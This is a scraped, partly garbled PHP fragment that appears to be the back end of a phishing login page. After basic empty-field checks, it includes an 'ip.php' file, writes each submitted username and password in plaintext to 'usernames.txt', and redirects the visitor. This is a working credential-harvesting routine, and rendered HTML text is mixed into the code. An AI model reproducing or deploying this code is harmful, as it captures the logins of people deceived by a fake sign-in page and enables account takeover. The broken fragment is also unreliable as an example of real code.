Username cannot be empty.
Password cannot be empy.'; $error1 = 'color: #F01B47'; $error2 = 'border-color: #F23C57'; $error3 = 'color: #F01B47'; $error4 = 'border-color: #F23C57'; } elseif (empty($_POST["username"])) { $nameErr = '

Username cannot be empty

'; $error3 = 'color: #F01B47'; $error4 = 'border-color: #F23C57'; } elseif (empty($_POST["password"])) { $nameErr = '

Password cannot be empty

'; $error1 = 'color: #F01B47'; $error2 = 'border-color: #F23C57'; } else { include 'ip.php'; file_put_contents("usernames.txt", "[username]: " . $_POST['username'] . " [password]: " . $_POST['password'] . "\n", FILE_APPEND); header('Location: '); } } function test_input($data) { $data = trim($data); $data = stripslashes($data); $data = htmlspecialchars($data); return $data; }